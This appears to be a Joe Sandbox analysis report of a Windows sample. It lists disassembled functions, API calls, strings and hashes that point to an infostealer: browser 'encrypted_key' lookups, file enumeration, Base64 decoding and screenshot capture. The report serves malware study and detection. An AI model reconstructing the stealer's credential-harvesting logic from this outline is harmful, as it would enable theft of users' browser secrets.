.gz, xrefs: 00419D13
.zip, xrefs: 00419CD7
.lzh, xrefs: 00419CFB
.arc, xrefs: 00419CEF

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: b76c44620106a9721a66505954193620f392c227554fa2a5838ec97212230cb4
Instruction ID: 09ab10ede998f23ebd0a757f2e1616580dd9c1132f34bffbb204f10d50ae2642
Opcode Fuzzy Hash: b76c44620106a9721a66505954193620f392c227554fa2a5838ec97212230cb4
Instruction Fuzzy Hash: 9C018273340676325A22376D6C10EEFA6C89DC2BD03590123E6D4A1644F74DDDC396ED

Function 00412C70 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 188stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00412C89
memset.MSVCRT ref: 00412C9C

Part of subcall function 00410D50: SHGetFolderPathA.SHELL32(00000000,004201E9,00000000,00000000,?,00000000,?), ref: 00410D81

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,00000000,?), ref: 00412CCC
lstrcatA.KERNEL32(?,024BFCB8,?,?,?,?,?,?,00000000,?), ref: 00412CE8
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,00000000,?), ref: 00412CFC
lstrcatA.KERNEL32(?,024C0240,?,?,?,?,?,?,00000000,?), ref: 00412D10

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00410D10: GetFileAttributesA.KERNEL32(00000000,?,?,0040B844,?,00000000,?,00000000,004201E9,004201E9), ref: 00410D1D

Part of subcall function 0040BE30: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,?,?,?,?,?,0040EC99,?), ref: 0040BE7D

Part of subcall function 00406C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
Part of subcall function 00406C20: GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
Part of subcall function 00406C20: LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
Part of subcall function 00406C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
Part of subcall function 00406C20: CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

Part of subcall function 00411000: GlobalAlloc.KERNEL32(00000000,00412D99,?,?,?,00412D99,?,?), ref: 0041100B

StrStrA.SHLWAPI(00000000,024BFC88), ref: 00412DA5
GlobalFree.KERNEL32(00000000), ref: 00412E74

Part of subcall function 00406CD0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,bb@,00000000,00000000), ref: 00406CF7
Part of subcall function 00406CD0: LocalAlloc.KERNEL32(00000040,00000000,?,00406262,00000000,?,?,?,?,?,?,?,?,00000030), ref: 00406D06
Part of subcall function 00406CD0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,bb@,00000000,00000000), ref: 00406D1D
Part of subcall function 00406CD0: LocalFree.KERNEL32(?,?,00406262,00000000,?,?,?,?,?,?,?,?,00000030), ref: 00406D2C

Part of subcall function 00406E90: memset.MSVCRT ref: 00406EE7
Part of subcall function 00406E90: LocalAlloc.KERNEL32(00000040,?,?,?,?), ref: 00406F1E

lstrcatA.KERNEL32(?,00000000,?,?,?,?,000003E8), ref: 00412E1B
StrCmpCA.SHLWAPI(?,004201E9,?,?,?,?,000003E8), ref: 00412E35
lstrcatA.KERNEL32(00000000,?,?,?,?,?,000003E8), ref: 00412E50
lstrcatA.KERNEL32(00000000,00423408,?,?,?,?,000003E8), ref: 00412E5C

Strings

[A, xrefs: 00412ECF, 00412D3C, 00412D41
&^A, xrefs: 00412EAE, 00412DCA, 00412E42, 00412DCE, 00412E45, 00412EB1
[A, xrefs: 00412DB9, 00412DF6, 00412DBF, 00412DFE

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$AllocFileLocal$memset$BinaryCryptFreeGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: &^A$[A$[A
API String ID: 3732263607-2495692613
Opcode ID: b6a5c60ff805bc830702882fb46466f95611f72c4c809a60a48206edc1801dbb
Instruction ID: d59f45477cc248b5e6d7bada35e659b81564eef37be1e13949c8aa7a1f0d74e6
Opcode Fuzzy Hash: b6a5c60ff805bc830702882fb46466f95611f72c4c809a60a48206edc1801dbb
Instruction Fuzzy Hash: 766188B2900208ABCB14FBB1DC45FEE777DAF54304F04856AF605A3181EB789659CBB5

Function 004123F0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 134stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block,?,00416B9A), ref: 0041240D
ExitProcess.KERNEL32 ref: 00412418
strtok_s.MSVCRT ref: 0041242F

Strings

block, xrefs: 004123FB

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: feab14a666428920971d7382c965656d1bfdf8d8e7de0aabd6af7f0a9cac1cfc
Instruction ID: e3e380744db4542f3dcd3176cd4aa3d186104e4e98486a0c1b69353dd86ad054
Opcode Fuzzy Hash: feab14a666428920971d7382c965656d1bfdf8d8e7de0aabd6af7f0a9cac1cfc
Instruction Fuzzy Hash: 4C41B071E40B04BACB10AF749D99A973AADBB00786B10192BF403F2142F7BCE7518B5C

Function 6C7F9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7E31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C7E3217
Part of subcall function 6C7E31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C7E3236
Part of subcall function 6C7E31C0: FreeLibrary.KERNEL32 ref: 6C7E324B
Part of subcall function 6C7E31C0: __Init_thread_footer.LIBCMT ref: 6C7E3260
Part of subcall function 6C7E31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C7E327F
Part of subcall function 6C7E31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7E328E
Part of subcall function 6C7E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7E32AB
Part of subcall function 6C7E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7E32D1
Part of subcall function 6C7E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C7E32E5
Part of subcall function 6C7E31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C7E32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C7F9675
__Init_thread_footer.LIBCMT ref: 6C7F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C7F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C7F9707
__Init_thread_footer.LIBCMT ref: 6C7F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7F9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C7F97B7
FreeLibrary.KERNEL32 ref: 6C7F97D0
FreeLibrary.KERNEL32 ref: 6C7F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7F9824

Strings

ntdll.dll, xrefs: 6C7F96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C7F9670
NtMapViewOfSection, xrefs: 6C7F9701
MapViewOfFileNuma2, xrefs: 6C7F97B1

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 99be6f13b3e68d67de8b5d75ddbca38ebd6fa828b115830d87c2fb930bf1cdc6
Instruction ID: 65510c7d7ad17e527485eab90fdea4325562eb737ba0fc548efd8f1fb08c5933
Opcode Fuzzy Hash: 99be6f13b3e68d67de8b5d75ddbca38ebd6fa828b115830d87c2fb930bf1cdc6
Instruction Fuzzy Hash: 1461D2716042459BDF20CF6ADA84BAA7BB1EB6B31CF045539F92583B80D730E855CBE1

Function 00411530 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 174COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0041159C
GetWindowRect.USER32(00000000,?), ref: 004115A9
SelectObject.GDI32(00000000,00000000), ref: 004115D5
GlobalFix.KERNEL32(00000043), ref: 0041165B
GlobalSize.KERNEL32(00000043), ref: 00411668

Strings

poAC, xrefs: 004115FE, 00411630, 004116D1, 00411601, 0041163A, 004116D4
poAC, xrefs: 00411579, 00411705, 00411687, 0041168C
image/jpeg, xrefs: 00411617

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: GlobalWindow$DesktopObjectRectSelectSize
String ID: image/jpeg$poAC$poAC
API String ID: 4231556420-2740837080
Opcode ID: 6dfdfc1649a1ee422076215ea49c6cd46fda82b642daa2734047be06708440eb
Instruction ID: defcd3f450e1372c84fb34f4d7ba74a0fd3369ce25f5533fa2b14cfeea203380
Opcode Fuzzy Hash: 6dfdfc1649a1ee422076215ea49c6cd46fda82b642daa2734047be06708440eb
Instruction Fuzzy Hash: 275133B6900208AFDB14EFB5DC49EEE77BDEF88711F005529FA01E2290DB3499448BA4

Function 6C83D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C83D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C83D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C83D52A
GetCurrentThreadId.KERNEL32 ref: 6C83D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C83D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C83D55F
free.MOZGLUE(00000000), ref: 6C83D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C83D5D3
GetCurrentThreadId.KERNEL32 ref: 6C83D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C83D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C83D652
GetCurrentThreadId.KERNEL32 ref: 6C83D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C83D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C83D6A2

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: da13522efcf93aaf37ded5cdaedae617e405c59c1143457c280c3e61a2f1fbf2
Instruction ID: 86a112e2f6078b8f0b9bbd447be2aa4139d595b4497492185f3f0fe8be6b5f00
Opcode Fuzzy Hash: da13522efcf93aaf37ded5cdaedae617e405c59c1143457c280c3e61a2f1fbf2
Instruction Fuzzy Hash: F4517F71604705DFC714DF75C988AAABBF4FF89318F106A2EE85A87711DB30A845CB91

Function 00415709 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 115stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,004201DC), ref: 0041571C
StrCmpCA.SHLWAPI(?,004201D8), ref: 00415736
lstrcatA.KERNEL32(?,024BDE28,?,00000104,?,00000104), ref: 00415774
lstrcatA.KERNEL32(?,024BDDF8), ref: 00415788
lstrcatA.KERNEL32(?,?), ref: 0041579C
lstrcatA.KERNEL32(?,?), ref: 004157AA
lstrcatA.KERNEL32(?,004201E0), ref: 004157BC
lstrcatA.KERNEL32(?,?), ref: 004157D0

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00406C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
Part of subcall function 00406C20: GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
Part of subcall function 00406C20: LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
Part of subcall function 00406C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
Part of subcall function 00406C20: CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

Part of subcall function 004142A0: Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
Part of subcall function 004142A0: CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
Part of subcall function 004142A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

FindNextFileA.KERNEL32(00000000,?), ref: 00415863
FindClose.KERNEL32(00000000), ref: 00415872

Strings

P2#v, xrefs: 00415863

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$CloseCreateFind$AllocHandleLocalNextObjectReadSingleSizeSleepThreadWaitlstrcpy
String ID: P2#v
API String ID: 1847592606-3395895848
Opcode ID: 3559b6ff17543394da089dd315e8a8aa3b327a8e8436baa0ee5aa18647c61723
Instruction ID: 18dc0908c5730ed94456446983d280d6a06bce99c868172c3d60d295aa26d90d
Opcode Fuzzy Hash: 3559b6ff17543394da089dd315e8a8aa3b327a8e8436baa0ee5aa18647c61723
Instruction Fuzzy Hash: 4741BC76550208ABCB14FBA1DC86EEE737DAF94300F4485ADF605A2090DB749788CFA5

Function 6C82EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C829420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7F4A68), ref: 6C82945E
Part of subcall function 6C829420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C829470
Part of subcall function 6C829420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C829482
Part of subcall function 6C829420: __Init_thread_footer.LIBCMT ref: 6C82949F

GetCurrentThreadId.KERNEL32 ref: 6C82EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C82EC8C

Part of subcall function 6C8294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8294EE
Part of subcall function 6C8294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C829508

GetCurrentThreadId.KERNEL32 ref: 6C82ECA1
AcquireSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C82ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C82ECC5
ReleaseSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C82ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C82ED19
CloseHandle.KERNEL32(?), ref: 6C82ED28
free.MOZGLUE(00000000), ref: 6C82ED2F
ReleaseSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C82ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C82EC94

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 912b06a8b6cd750853a334fda73cdeb5929505df3b5d12062f54b210b362d080
Instruction ID: 66053539f9ba135d891f9bececae7a568ca277f25d0023b6cfeda83f3c6af4be
Opcode Fuzzy Hash: 912b06a8b6cd750853a334fda73cdeb5929505df3b5d12062f54b210b362d080
Instruction Fuzzy Hash: A421F6756001089BDB209F6AD90CBBB3779EB4626EF104A31FC1447B40DB39D845CBE5

Function 6C80C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C80C5A3
WideCharToMultiByte.KERNEL32 ref: 6C80C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C80C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C80CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C80CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C80CAA5

Strings

(null), xrefs: 6C80C596
0, xrefs: 6C80D30A

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f6f60ad805599ed38ce90901c50c5c107086aa40558041159044689f3119e83a
Instruction ID: 63c94878be873db49ffe78e7f8cbd6613be5bd9e246c199842ac38369619f1d6
Opcode Fuzzy Hash: f6f60ad805599ed38ce90901c50c5c107086aa40558041159044689f3119e83a
Instruction Fuzzy Hash: 30A1AD307083419FDB21DF28CA5875ABBE1BF89758F048C2DE899D7652D771E805CBA2

Function 6C7E3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C7E3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C7E34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C7E34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C7E350E
__Init_thread_footer.LIBCMT ref: 6C7E3522
__aulldiv.LIBCMT ref: 6C7E3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C7E357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C7E3592

Part of subcall function 6C81AB89: EnterCriticalSection.KERNEL32(6C86E370,?,?,?,6C7E34DE,6C86F6CC,?,?,?,?,?,?,?,6C7E3284), ref: 6C81AB94
Part of subcall function 6C81AB89: LeaveCriticalSection.KERNEL32(6C86E370,?,6C7E34DE,6C86F6CC,?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C81ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C7E3508
kernel32.dll, xrefs: 6C7E34EA

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 439556c0ccd049e8cc2a1d5b0f4f7dcf9f713d2c8ffc29a418c847c7ec880fec
Instruction ID: 8ddbe430cc975e70935a32141fc89c38d038a13dfcb9fcbd2d0b126e5f5accc3
Opcode Fuzzy Hash: 439556c0ccd049e8cc2a1d5b0f4f7dcf9f713d2c8ffc29a418c847c7ec880fec
Instruction Fuzzy Hash: 5B316171B002069BDF24DBBACE48BBA77B5FB5A309F101439E545D7760E770A904CBA1

Function 6C7E4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

